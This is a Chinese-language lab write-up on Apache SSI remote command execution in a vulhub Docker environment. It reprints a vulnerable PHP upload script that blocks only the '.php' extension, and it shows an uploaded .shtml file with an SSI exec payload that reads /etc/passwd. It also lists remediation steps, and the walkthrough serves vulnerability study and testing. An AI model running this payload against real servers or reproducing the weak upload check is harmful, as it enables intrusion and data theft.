si1ent

Apache SSI 远程命令执行

2021-05-13

概述

SSI(Server Side Include)–服务器端包含,是一种类似于ASP的基于服务器的网页制作技术。
默认扩展名是 .stm、.shtm 和 .shtml,实现效果和平时html基本一致,不同的是可能造成命令执行等高风险。

shtml概述

shtml不是html而是一种服务器API,shtml是服务器动态产生的html。两者都是超文本格式,但shtml是一种用于SSI(Servcie Side Include ,服务器端包含指令)技术的文件,一般浏览器访问时会优先扫描依次shtml文件看有没有SSI指令存在,就按服务器设定的规则去解释SSI指令,然后跟html一起被渲染。当shtml或shtm中不包含服务端可执行脚本时作用和html或htm一样。

环境搭建

docker环境搭建

Apache SSI

漏洞描述

SSI(Server Side Include)–服务器端包含,是一种类似于ASP的基于服务器的网页制作技术。
默认扩展名是 .stm、.shtm 和 .shtml,实现效果和平时html基本一致,不同的是可能造成命令执行等高风险。

影响范围

导致外部用户上传恶意脚本造成远程命令执行风险。

漏洞原理

SSI(Server Side Include)–服务器端包含,是一种类似于ASP的基于服务器的网页制作技术。
默认扩展名是 .stm、.shtm 和 .shtml,实现效果和平时html基本一致,不同的是可能造成命令执行等高风险。

漏洞条件
  • Web服务器为Apache和IIS(支持SSI功能的服务器)
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时,嵌入用户输入
  • 未对输入的参数值进行输入过滤
漏洞检测

0、环境启动

image-20210512103256702

1、检测

1
http://192.168.20.120:8080/upload.php

image-20210512103327194

如上上传入口
2、upload.php文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if (!empty($_FILES)):
//先检测上传文件后缀是否是PHP
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php'])) {
die('Unsupported filetype uploaded.');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>

3、上传尝试

image-20210512103839906

4、我们可以尝试上传.shtml后缀文件

1
<!--#exec cmd=”cat /etc/passwd”-->

image-20210512105514831

5、上传shtml后缀文件

image-20210512103927390

6、访问URL

1
http://192.168.20.120:8080/si1ent-1.shtml

image-20210512105155226

漏洞修复

1、关闭系统上传入口

2、如不适用SSI功能建议关闭

参考
1
https://github.com/si1ent-le/vulhub/tree/master/httpd/ssi-rce
Tags: apache
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章